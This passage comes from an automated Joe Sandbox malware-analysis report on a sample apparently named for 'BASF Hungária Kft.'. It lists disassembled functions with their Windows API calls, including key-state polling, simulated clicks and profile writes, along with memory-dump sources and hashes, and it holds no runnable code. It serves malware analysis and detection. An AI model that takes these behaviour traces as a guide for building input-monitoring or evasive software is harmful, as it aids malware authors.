                                                                • Part of subcall function 00735A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00797896,?,?,00000000), ref: 00735A2C
                                                                • Part of subcall function 00735A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00797896,?,?,00000000,?,?), ref: 00735A50
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
                                                              • String ID:
                                                              • API String ID: 327935632-0
                                                              • Opcode ID: 0beeaf2a914ad93f39925504a8db0d32d43b5de2eac7c62df49801343a102243
                                                              • Instruction ID: 5aabdb70097cfaaf90392dcc264ee58d6ee84361f9250832a1516673f80865b5
                                                              • Opcode Fuzzy Hash: 0beeaf2a914ad93f39925504a8db0d32d43b5de2eac7c62df49801343a102243
                                                              • Instruction Fuzzy Hash: A3513675A00209DFDB10EFA8C4889ADB7B4EF49310F04C165E916AB312DB39ED45CF81
                                                              Function 0079E571 Relevance: 7.6, APIs: 5, Instructions: 135COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 0079E61F
                                                              • GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 0079E648
                                                              • WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 0079E687
                                                                • Part of subcall function 00739837: __itow.LIBCMT ref: 00739862
                                                                • Part of subcall function 00739837: __swprintf.LIBCMT ref: 007398AC
                                                              • WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 0079E6AC
                                                              • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 0079E6B4
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
                                                              • String ID:
                                                              • API String ID: 1389676194-0
                                                              • Opcode ID: 29a36fcf5b20523df623581ad3bcbc9e4f1f5d5d1edb840c30101f0bba9658da
                                                              • Instruction ID: e9b61d447c3a3a9f5e27457ee63b00740f57f01c045216f50db78e922deee42c
                                                              • Opcode Fuzzy Hash: 29a36fcf5b20523df623581ad3bcbc9e4f1f5d5d1edb840c30101f0bba9658da
                                                              • Instruction Fuzzy Hash: C0510735A00205DFDB01EF64C985AADBBF5EF49314F1480A9E909AB362CB75ED11CF50
                                                              Function 007BA056 Relevance: 7.6, APIs: 5, Instructions: 130COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: f40c026e16b2fea3b088b55358732aed04517f92fb2e843336b8e8e621d272a1
                                                              • Instruction ID: 2b662bd4de75c46f9d6a30fdf286748052bd8c05401e90a7e89cf37eb44fef28
                                                              • Opcode Fuzzy Hash: f40c026e16b2fea3b088b55358732aed04517f92fb2e843336b8e8e621d272a1
                                                              • Instruction Fuzzy Hash: 2B41903590450CBBD760EB2CCC89FE9BBB8EB09310F144265F916A72E1D738AD41DA61
                                                              Function 00732344 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetCursorPos.USER32(?), ref: 00732357
                                                              • ScreenToClient.USER32(007F57B0,?), ref: 00732374
                                                              • GetAsyncKeyState.USER32(00000001), ref: 00732399
                                                              • GetAsyncKeyState.USER32(00000002), ref: 007323A7
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: AsyncState$ClientCursorScreen
                                                              • String ID:
                                                              • API String ID: 4210589936-0
                                                              • Opcode ID: 7528e81b8f509c68847ce0981c14899ae12d4d26e911f0c794968f5dc9080bf2
                                                              • Instruction ID: 6d7d040ef3ec836b4f4baeb6817c8931e10b9a6e5f6b8f38fc0d39fc91c4b59e
                                                              • Opcode Fuzzy Hash: 7528e81b8f509c68847ce0981c14899ae12d4d26e911f0c794968f5dc9080bf2
                                                              • Instruction Fuzzy Hash: 38417F35604119FBDF299F68CC48BE9BB74FB05360F20431AF869D22A2C7389991DB91
                                                              Function 007863AA Relevance: 7.6, APIs: 5, Instructions: 97windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 007863E7
                                                              • TranslateAcceleratorW.USER32(?,?,?), ref: 00786433
                                                              • TranslateMessage.USER32(?), ref: 0078645C
                                                              • DispatchMessageW.USER32(?), ref: 00786466
                                                              • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00786475
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Message$PeekTranslate$AcceleratorDispatch
                                                              • String ID:
                                                              • API String ID: 2108273632-0
                                                              • Opcode ID: 72db66407603d31e9ed9ed823399f7b07d178fa08b01d87529971288a540f185
                                                              • Instruction ID: f794d7d33a2eeeca7cb1e7e906c9da7071c3f72f00efa5945ae4fe369723b684
                                                              • Opcode Fuzzy Hash: 72db66407603d31e9ed9ed823399f7b07d178fa08b01d87529971288a540f185
                                                              • Instruction Fuzzy Hash: 5B31E571980686BFDB24EFB4CC48FBABBA8BB00310F108265E529C21A0E73D9545D760
                                                              Function 00788A1F Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetWindowRect.USER32(?,?), ref: 00788A30
                                                              • PostMessageW.USER32(?,00000201,00000001), ref: 00788ADA
                                                              • Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00788AE2
                                                              • PostMessageW.USER32(?,00000202,00000000), ref: 00788AF0
                                                              • Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00788AF8
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: MessagePostSleep$RectWindow
                                                              • String ID:
                                                              • API String ID: 3382505437-0
                                                              • Opcode ID: 73afe6b1b6a968b9ccf0d75fa35d831d4e3ebce56873ce769d3300285841b568
                                                              • Instruction ID: 1ecb824f0ca424dabcc34786cbd1e5d1ce23dbaa7516bd8fe70584302611a148
                                                              • Opcode Fuzzy Hash: 73afe6b1b6a968b9ccf0d75fa35d831d4e3ebce56873ce769d3300285841b568
                                                              • Instruction Fuzzy Hash: 7231B171500219EBDB14DFA8DD4DB9E3BB5EB04315F108229F925E62D0C7B49914DB92
                                                              Function 0078B1EC Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • IsWindowVisible.USER32(?), ref: 0078B204
                                                              • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 0078B221
                                                              • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 0078B259
                                                              • CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 0078B27F
                                                              • _wcsstr.LIBCMT ref: 0078B289
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
                                                              • String ID:
                                                              • API String ID: 3902887630-0
                                                              • Opcode ID: 035e991d731790dbaa8a9ca9c8bee3a72925774f3e3a5f8636fa644b8e38c2ff
                                                              • Instruction ID: 3d2cae3aa6f8bbb3351dc5dd459d8dd5e8d1f4e8c3e8ba2796a4809d36d61450
                                                              • Opcode Fuzzy Hash: 035e991d731790dbaa8a9ca9c8bee3a72925774f3e3a5f8636fa644b8e38c2ff
                                                              • Instruction Fuzzy Hash: 02210772644204BBEB25AB799C09E7F7B98EF49760F108139FC04DA161EFA9DC4197A0
                                                              Function 007BB14B Relevance: 7.6, APIs: 5, Instructions: 85COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00732612: GetWindowLongW.USER32(?,000000EB), ref: 00732623
                                                              • GetWindowLongW.USER32(?,000000F0), ref: 007BB192
                                                              • SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 007BB1B7
                                                              • SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 007BB1CF
                                                              • GetSystemMetrics.USER32(00000004), ref: 007BB1F8
                                                              • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,007A0E90,00000000), ref: 007BB216
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Window$Long$MetricsSystem
                                                              • String ID:
                                                              • API String ID: 2294984445-0
                                                              • Opcode ID: aa091a446b027187de78cb701ea1d97b7a552146baa491703c3d8d9f0829d3fe
                                                              • Instruction ID: 859483d1e343942f4381ee94fc3677e12228ef37d3513aff2f1b558e5bd2edf6
                                                              • Opcode Fuzzy Hash: aa091a446b027187de78cb701ea1d97b7a552146baa491703c3d8d9f0829d3fe
                                                              • Instruction Fuzzy Hash: A4216071A10659AFCB209F39DC14BAA3BA4FB05761F158728FD22D71E0E7789920CB90
                                                              Function 00789307 Relevance: 7.6, APIs: 5, Instructions: 84windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00789320
                                                                • Part of subcall function 00737BCC: _memmove.LIBCMT ref: 00737C06
                                                              • SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00789352
                                                              • __itow.LIBCMT ref: 0078936A
                                                              • SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00789392
                                                              • __itow.LIBCMT ref: 007893A3
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$__itow$_memmove
                                                              • String ID:
                                                              • API String ID: 2983881199-0
                                                              • Opcode ID: 5cd6fed63a013ec36614543760abc5a44a00715a4c65d809f76fb9f4956b3805
                                                              • Instruction ID: 2ba4edd191e517161757ac7a9ced9a5b8bb93ae81f4358a44a0d7607d7575ddd
                                                              • Opcode Fuzzy Hash: 5cd6fed63a013ec36614543760abc5a44a00715a4c65d809f76fb9f4956b3805
                                                              • Instruction Fuzzy Hash: FB21C571740208FBDB20AA648C8DEFE7BADEB49B14F084025FE45E71D1D6B88D459791
                                                              Function 007A5A4D Relevance: 7.6, APIs: 5, Instructions: 70COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • IsWindow.USER32(00000000), ref: 007A5A6E
                                                              • GetForegroundWindow.USER32 ref: 007A5A85
                                                              • GetDC.USER32(00000000), ref: 007A5AC1
                                                              • GetPixel.GDI32(00000000,?,00000003), ref: 007A5ACD
                                                              • ReleaseDC.USER32(00000000,00000003), ref: 007A5B08
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Window$ForegroundPixelRelease
                                                              • String ID:
                                                              • API String ID: 4156661090-0
                                                              • Opcode ID: d4cbb3b4ee0866c41d92f8fc1607b2db266369f2835913da5d781392c8015980
                                                              • Instruction ID: d1c3ec562a585304ecfb69cc50bcd7c062a97ebb3d33c5c6732b243bfa9201e6
                                                              • Opcode Fuzzy Hash: d4cbb3b4ee0866c41d92f8fc1607b2db266369f2835913da5d781392c8015980
                                                              • Instruction Fuzzy Hash: 4621A475A00104EFDB00EFA4DC88E9ABBE5EF89710F14C579F84997352CA78AC01CB50
                                                              Function 007312F3 Relevance: 7.6, APIs: 5, Instructions: 67COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 0073134D
                                                              • SelectObject.GDI32(?,00000000), ref: 0073135C
                                                              • BeginPath.GDI32(?), ref: 00731373
                                                              • SelectObject.GDI32(?,00000000), ref: 0073139C
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ObjectSelect$BeginCreatePath
                                                              • String ID:
                                                              • API String ID: 3225163088-0
                                                              • Opcode ID: 31ba17816d179fbfeecb9170a70fccc67a1021c9db17883de5ea1a89f0db1906
                                                              • Instruction ID: 1456736cdd5cfa8c2ff437d903f4a48895e6fbbaa484a8c33b4aa8b85b3ebf45
                                                              • Opcode Fuzzy Hash: 31ba17816d179fbfeecb9170a70fccc67a1021c9db17883de5ea1a89f0db1906
                                                              • Instruction Fuzzy Hash: 51216D30800A08EFEB109F25EC04B797BA8FB047A1F54C326F910965B2D77C9895DF98
                                                              Function 00794A93 Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetCurrentThreadId.KERNEL32 ref: 00794ABA
                                                              • __beginthreadex.LIBCMT ref: 00794AD8
                                                              • MessageBoxW.USER32(?,?,?,?), ref: 00794AED
                                                              • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00794B03
                                                              • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00794B0A
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
                                                              • String ID:
                                                              • API String ID: 3824534824-0
                                                              • Opcode ID: f1695ba069230ade50af7a47aea911e9d637fb845e94f36a5b034129da18bf3a
                                                              • Instruction ID: 99a6fbcb8be24546beace79ab31222ae2444b9192dc0f16528917eb48e08ebc9
                                                              • Opcode Fuzzy Hash: f1695ba069230ade50af7a47aea911e9d637fb845e94f36a5b034129da18bf3a
                                                              • Instruction Fuzzy Hash: 841108B6904248BBCB008FACEC08FAB7FADEB49320F148365F914D3260D679C90487A4
                                                              Function 00788202 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 0078821E
                                                              • GetLastError.KERNEL32(?,00787CE2,?,?,?), ref: 00788228
                                                              • GetProcessHeap.KERNEL32(00000008,?,?,00787CE2,?,?,?), ref: 00788237
                                                              • HeapAlloc.KERNEL32(00000000,?,00787CE2,?,?,?), ref: 0078823E
                                                              • GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00788255
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: HeapObjectSecurityUser$AllocErrorLastProcess
                                                              • String ID:
                                                              • API String ID: 842720411-0
                                                              • Opcode ID: 6fc51e82a181cfce7101defdacd3c485727fcc5efa54aabc122612f2567eb048
                                                              • Instruction ID: 02e666f2c6e55b9866bfe34e26228fe8c616bec9e0c7b15d9c868e321ce22a69
                                                              • Opcode Fuzzy Hash: 6fc51e82a181cfce7101defdacd3c485727fcc5efa54aabc122612f2567eb048
                                                              • Instruction Fuzzy Hash: DB016271240208BFDB105FA9DC48D677BACFF857547504629F809C3120DA358C00CB60
                                                              Function 0078710A Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00787044,80070057,?,?,?,00787455), ref: 00787127
                                                              • ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00787044,80070057,?,?), ref: 00787142
                                                              • lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00787044,80070057,?,?), ref: 00787150
                                                              • CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00787044,80070057,?), ref: 00787160
                                                              • CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00787044,80070057,?,?), ref: 0078716C
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: From$Prog$FreeStringTasklstrcmpi
                                                              • String ID:
                                                              • API String ID: 3897988419-0
                                                              • Opcode ID: b96576546373840e6fc57cc39790caa4a868b0e69d244b6b2ca4231a0796960d
                                                              • Instruction ID: aa67e6dabf9aa00a6d633d0a5dcbd74d458f3878ee4504bd5d20dc502ec311d4
                                                              • Opcode Fuzzy Hash: b96576546373840e6fc57cc39790caa4a868b0e69d244b6b2ca4231a0796960d
                                                              • Instruction Fuzzy Hash: 57017172A05208ABDB159F64DC88FAA7BADEB84BA1F244164FD05D7210D739DD40D7A0
                                                              Function 00795244 Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00795260
                                                              • QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 0079526E
                                                              • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00795276
                                                              • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00795280
                                                              • Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 007952BC
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: PerformanceQuery$CounterSleep$Frequency
                                                              • String ID:
                                                              • API String ID: 2833360925-0
                                                              • Opcode ID: 170064ab6654f0ebfe1267e3f80e46108bfd6126cd6b1f9e400a783f637ca96a
                                                              • Instruction ID: 34a7e8d7adbce5ca1ab6b304d97fedbec6d79a91f02bc4b85f6ae0844ee3af27
                                                              • Opcode Fuzzy Hash: 170064ab6654f0ebfe1267e3f80e46108bfd6126cd6b1f9e400a783f637ca96a
                                                              • Instruction Fuzzy Hash: E50157B1D01A2DDBCF00EFE8EC48AEDBB78FB0D711F404566E941B2241CB38595087A5
                                                              Function 0078810A Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
